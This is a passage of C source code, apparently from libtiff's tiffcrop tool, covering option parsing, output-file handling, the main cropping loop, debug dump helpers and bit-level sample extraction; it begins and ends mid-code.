PaperTable[i].length); exit (-1); } else { page->mode |= PAGE_MODE_PAPERSIZE; } break; case 'R': /* rotate image or cropped segment */ crop_data->crop_mode |= CROP_ROTATE; switch (strtoul(optarg, NULL, 0)) { case 90: crop_data->rotation = (uint16)90; break; case 180: crop_data->rotation = (uint16)180; break; case 270: crop_data->rotation = (uint16)270; break; default: TIFFError ("Rotation must be 90, 180, or 270 degrees clockwise", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'S': /* subdivide into Cols:Rows sections, eg 3:2 would be 3 across and 2 down */ sep = strpbrk(optarg, ",:"); if (sep) { *sep = '\0'; page->cols = atoi(optarg); page->rows = atoi(sep +1); } else { page->cols = atoi(optarg); page->rows = atoi(optarg); } if ((page->cols * page->rows) > MAX_SECTIONS) { TIFFError ("Limit for subdivisions, ie rows x columns, exceeded", "%d", MAX_SECTIONS); exit (-1); } page->mode |= PAGE_MODE_ROWSCOLS; break; case 'U': /* units for measurements and offsets */ if (streq(optarg, "in")) { crop_data->res_unit = RESUNIT_INCH; page->res_unit = RESUNIT_INCH; } else if (streq(optarg, "cm")) { crop_data->res_unit = RESUNIT_CENTIMETER; page->res_unit = RESUNIT_CENTIMETER; } else if (streq(optarg, "px")) { crop_data->res_unit = RESUNIT_NONE; page->res_unit = RESUNIT_NONE; } else { TIFFError ("Illegal unit of measure","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'V': /* set vertical resolution to new value */ page->vres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'X': /* selection width */ crop_data->crop_mode |= CROP_WIDTH; crop_data->width = atof(optarg); break; case 'Y': /* selection length */ crop_data->crop_mode |= CROP_LENGTH; crop_data->length = atof(optarg); break; case 'Z': /* zones of an image X:Y read as zone X of Y */ crop_data->crop_mode |= CROP_ZONES; for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ",")), i++) { crop_data->zones++; opt_offset = strchr(opt_ptr, ':'); if (!opt_offset) { TIFFError("Wrong parameter syntax for -Z", "tiffcrop -h"); exit(-1); } *opt_offset = '\0'; crop_data->zonelist[i].position = atoi(opt_ptr); crop_data->zonelist[i].total = atoi(opt_offset + 1); } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError("Zone list exceeds region limit", "%d", MAX_REGIONS); exit (-1); } break; case '?': TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); /*NOTREACHED*/ } } } /* end process_command_opts */ /* Start a new output file if one has not been previously opened or * autoindex is set to non-zero. Update page and file counters * so TIFFTAG PAGENUM will be correct in image. */ static int update_output_file (TIFF **tiffout, char *mode, int autoindex, char *outname, unsigned int *page) { static int findex = 0; /* file sequence indicator */ char *sep; char filenum[16]; char export_ext[16]; char exportname[PATH_MAX]; if (autoindex && (*tiffout != NULL)) { /* Close any export file that was previously opened */ TIFFClose (*tiffout); *tiffout = NULL; } strcpy (export_ext, ".tiff"); memset (exportname, '\0', PATH_MAX); /* Leave room for page number portion of the new filename */ strncpy (exportname, outname, PATH_MAX - 16); if (*tiffout == NULL) /* This is a new export file */ { if (autoindex) { /* create a new filename for each export */ findex++; if ((sep = strstr(exportname, ".tif")) || (sep = strstr(exportname, ".TIF"))) { strncpy (export_ext, sep, 5); *sep = '\0'; } else strncpy (export_ext, ".tiff", 5); export_ext[5] = '\0'; /* MAX_EXPORT_PAGES limited to 6 digits to prevent string overflow of pathname */ if (findex > MAX_EXPORT_PAGES) { TIFFError("update_output_file", "Maximum of %d pages per file exceeded", MAX_EXPORT_PAGES); return 1; } snprintf(filenum, sizeof(filenum), "-%03d%s", findex, export_ext); filenum[14] = '\0'; strncat (exportname, filenum, 15); } exportname[PATH_MAX - 1] = '\0'; *tiffout = TIFFOpen(exportname, mode); if (*tiffout == NULL) { TIFFError("update_output_file", "Unable to open output file %s", exportname); return 1; } *page = 0; return 0; } else (*page)++; return 0; } /* end update_output_file */ int main(int argc, char* argv[]) { #if !HAVE_DECL_OPTARG extern int optind; #endif uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) 0; uint32 deftilelength = (uint32) 0; uint32 defrowsperstrip = (uint32) 0; uint32 dirnum = 0; TIFF *in = NULL; TIFF *out = NULL; char mode[10]; char *mp = mode; /** RJN additions **/ struct image_data image; /* Image parameters for one image */ struct crop_mask crop; /* Cropping parameters for all images */ struct pagedef page; /* Page definition for output pages */ struct pageseg sections[MAX_SECTIONS]; /* Sections of one output page */ struct buffinfo seg_buffs[MAX_SECTIONS]; /* Segment buffer sizes and pointers */ struct dump_opts dump; /* Data dump options */ unsigned char *read_buff = NULL; /* Input image data buffer */ unsigned char *crop_buff = NULL; /* Crop area buffer */ unsigned char *sect_buff = NULL; /* Image section buffer */ unsigned char *sect_src = NULL; /* Image section buffer pointer */ unsigned int imagelist[MAX_IMAGES + 1]; /* individually specified images */ unsigned int image_count = 0; unsigned int dump_images = 0; unsigned int next_image = 0; unsigned int next_page = 0; unsigned int total_pages = 0; unsigned int total_images = 0; unsigned int end_of_input = FALSE; int seg, length; char temp_filename[PATH_MAX + 1]; little_endian = *((unsigned char *)&little_endian) & '1'; initImageData(&image); initCropMasks(&crop); initPageSetup(&page, sections, seg_buffs); initDumpOptions(&dump); process_command_opts (argc, argv, mp, mode, &dirnum, &defconfig, &deffillorder, &deftilewidth, &deftilelength, &defrowsperstrip, &crop, &page, &dump, imagelist, &image_count); if (argc - optind < 2) usage(); if ((argc - optind) == 2) pageNum = -1; else total_images = 0; /* read multiple input files and write to output file(s) */ while (optind < argc - 1) { in = TIFFOpen (argv[optind], "r"); if (in == NULL) return (-3); /* If only one input file is specified, we can use directory count */ total_images = TIFFNumberOfDirectories(in); if (image_count == 0) { dirnum = 0; total_pages = total_images; /* Only valid with single input file */ } else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; /* Total pages only valid for enumerated list of pages not derived * using odd, even, or last keywords. */ if (image_count > total_images) image_count = total_images; total_pages = image_count; } /* MAX_IMAGES is used for special case "last" in selection list */ if (dirnum == (MAX_IMAGES - 1)) dirnum = total_images - 1; if (dirnum > (total_images)) { TIFFError (TIFFFileName(in), "Invalid image number %d, File contains only %d images", (int)dirnum + 1, total_images); if (out != NULL) (void) TIFFClose(out); return (1); } if (dirnum != 0 && !TIFFSetDirectory(in, (tdir_t)dirnum)) { TIFFError(TIFFFileName(in),"Error, setting subdirectory at %d", dirnum); if (out != NULL) (void) TIFFClose(out); return (1); } end_of_input = FALSE; while (end_of_input == FALSE) { config = defconfig; compression = defcompression; predictor = defpredictor; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (dump.format != DUMP_NONE) { /* manage input and/or output dump files here */ dump_images++; length = strlen(dump.infilename); if (length > 0) { if (dump.infile != NULL) fclose (dump.infile); /* dump.infilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-read-%03d.%s", dump.infilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.infile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.infile, dump.format, "Reading image","%d from %s", dump_images, TIFFFileName(in)); } length = strlen(dump.outfilename); if (length > 0) { if (dump.outfile != NULL) fclose (dump.outfile); /* dump.outfilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-write-%03d.%s", dump.outfilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.outfile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.outfile, dump.format, "Writing image","%d from %s", dump_images, TIFFFileName(in)); } } if (dump.debug) TIFFError("main", "Reading image %4d of %4d total pages.", dirnum + 1, total_pages); if (loadImage(in, &image, &dump, &read_buff)) { TIFFError("main", "Unable to load source image"); exit (-1); } /* Correct the image orientation if it was not ORIENTATION_TOPLEFT. */ if (image.adjustments != 0) { if (correct_orientation(&image, &read_buff)) TIFFError("main", "Unable to correct image orientation"); } if (getCropOffsets(&image, &crop, &dump)) { TIFFError("main", "Unable to define crop regions"); exit (-1); } if (crop.selections > 0) { if (processCropSelections(&image, &crop, &read_buff, seg_buffs)) { TIFFError("main", "Unable to process image selections"); exit (-1); } } else /* Single image segment without zones or regions */ { if (createCroppedImage(&image, &crop, &read_buff, &crop_buff)) { TIFFError("main", "Unable to create output image"); exit (-1); } } if (page.mode == PAGE_MODE_NONE) { /* Whole image or sections not based on output page size */ if (crop.selections > 0) { writeSelections(in, &out, &crop, &image, &dump, seg_buffs, mp, argv[argc - 1], &next_page, total_pages); } else /* One file all images and sections */ { if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeCroppedImage(in, out, &image, &dump,crop.combined_width, crop.combined_length, crop_buff, next_page, total_pages)) { TIFFError("main", "Unable to write new image"); exit (-1); } } } else { /* If we used a crop buffer, our data is there, otherwise it is * in the read_buffer */ if (crop_buff != NULL) sect_src = crop_buff; else sect_src = read_buff; /* Break input image into pages or rows and columns */ if (computeOutputPixelOffsets(&crop, &image, &page, sections, &dump)) { TIFFError("main", "Unable to compute output section data"); exit (-1); } /* If there are multiple files on the command line, the final one is assumed * to be the output filename into which the images are written. */ if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeImageSections(in, out, &image, &page, sections, &dump, sect_src, &sect_buff)) { TIFFError("main", "Unable to write image sections"); exit (-1); } } /* No image list specified, just read the next image */ if (image_count == 0) dirnum++; else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; } if (dirnum == MAX_IMAGES - 1) dirnum = TIFFNumberOfDirectories(in) - 1; if (!TIFFSetDirectory(in, (tdir_t)dirnum)) end_of_input = TRUE; } TIFFClose(in); optind++; } /* If we did not use the read buffer as the crop buffer */ if (read_buff) _TIFFfree(read_buff); if (crop_buff) _TIFFfree(crop_buff); if (sect_buff) _TIFFfree(sect_buff); /* Clean up any segment buffers used for zones or regions */ for (seg = 0; seg < crop.selections; seg++) _TIFFfree (seg_buffs[seg].buffer); if (dump.format != DUMP_NONE) { if (dump.infile != NULL) fclose (dump.infile); if (dump.outfile != NULL) { dump_info (dump.outfile, dump.format, "", "Completed run for %s", TIFFFileName(out)); fclose (dump.outfile); } } TIFFClose(out); return (0); } /* end main */ /* Debugging functions */ static int dump_data (FILE *dumpfile, int format, char *dump_tag, unsigned char *data, uint32 count) { int j, k; uint32 i; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (i = 0; i < count; i++) { for (j = 0, k = 7; j < 8; j++, k--) { bitset = (*(data + i)) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s", dump_array); } fprintf (dumpfile,"\n"); } else { if ((fwrite (data, 1, count, dumpfile)) != count) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_byte (FILE *dumpfile, int format, char *dump_tag, unsigned char data) { int j, k; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 7; j < 8; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 1, 1, dumpfile)) != 1) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_short (FILE *dumpfile, int format, char *dump_tag, uint16 data) { int j, k; char dump_array[20]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 15; k >= 0; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[17] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 2, 1, dumpfile)) != 2) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_long (FILE *dumpfile, int format, char *dump_tag, uint32 data) { int j, k; char dump_array[40]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 31; k >= 0; j++, k--) { bitset = data & (((uint32)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[35] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 4, 1, dumpfile)) != 4) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_wide (FILE *dumpfile, int format, char *dump_tag, uint64 data) { int j, k; char dump_array[80]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 63; k >= 0; j++, k--) { bitset = data & (((uint64)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[71] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 8, 1, dumpfile)) != 8) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static void dump_info(FILE *dumpfile, int format, char *prefix, char *msg, ...) { if (format == DUMP_TEXT) { va_list ap; va_start(ap, msg); fprintf(dumpfile, "%s ", prefix); vfprintf(dumpfile, msg, ap); fprintf(dumpfile, "\n"); va_end(ap); } } static int dump_buffer (FILE* dumpfile, int format, uint32 rows, uint32 width, uint32 row, unsigned char *buff) { int j, k; uint32 i; unsigned char * dump_ptr; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } for (i = 0; i < rows; i++) { dump_ptr = buff + (i * width); if (format == DUMP_TEXT) dump_info (dumpfile, format, "", "Row %4d, %d bytes at offset %d", row + i + 1, width, row * width); for (j = 0, k = width; k >= 10; j += 10, k -= 10, dump_ptr += 10) dump_data (dumpfile, format, "", dump_ptr, 10); if (k > 0) dump_data (dumpfile, format, "", dump_ptr, k); } return (0); } /* Extract one or more samples from an interleaved buffer. If count == 1, * only the sample plane indicated by sample will be extracted. If count > 1, * count samples beginning at sample will be extracted. Portions of a * scanline can be extracted by specifying a start and end value. */ static int extractContigSamplesBytes (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int i, bytes_per_sample, sindex; uint32 col, dst_rowsize, bit_offset; uint32 src_byte /*, src_bit */; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesBytes","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid end column value %d ignored", end); end = cols; } dst_rowsize = (bps * (end - start) * count) / 8; bytes_per_sample = (bps + 7) / 8; /* Optimize case for copying all samples */ if (count == spp) { src = in + (start * spp * bytes_per_sample); _TIFFmemcpy (dst, src, dst_rowsize); } else { for (col = start; col < end; col++) { for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { bit_offset = col * bps * spp; if (sindex == 0) { src_byte = bit_offset / 8; /* src_bit = bit_offset % 8; */ } else { src_byte = (bit_offset + (sindex * bps)) / 8; /* src_bit = (bit_offset + (sindex * bps)) % 8; */ } src = in + src_byte; for (i = 0; i < bytes_per_sample; i++) *dst++ = *src++; } } } return (0); } /* end extractContigSamplesBytes */ static int extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ static int extractContigSamples16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ { bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamples16bits */ static int extractContigSamples24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamples24bits */ static int extractContigSamples32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = 0; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamples32bits */ static int extractContigSamplesShifted8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); if ((col == start) && (sindex == sample)) buff2 = *src & ((uint8)-1) << (shift); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ |= buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = buff2 | (buff1 >> ready_bits); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted8bits */ static int extractContigSamplesShifted16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint16)-1) << (8 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ buff2 = buff2 | (buff1 >> ready_bits); else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted16bits */ static int extractContigSamplesShifted24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint32)-1) << (16 - shift); buff1 = (buff1 & matchbits) << 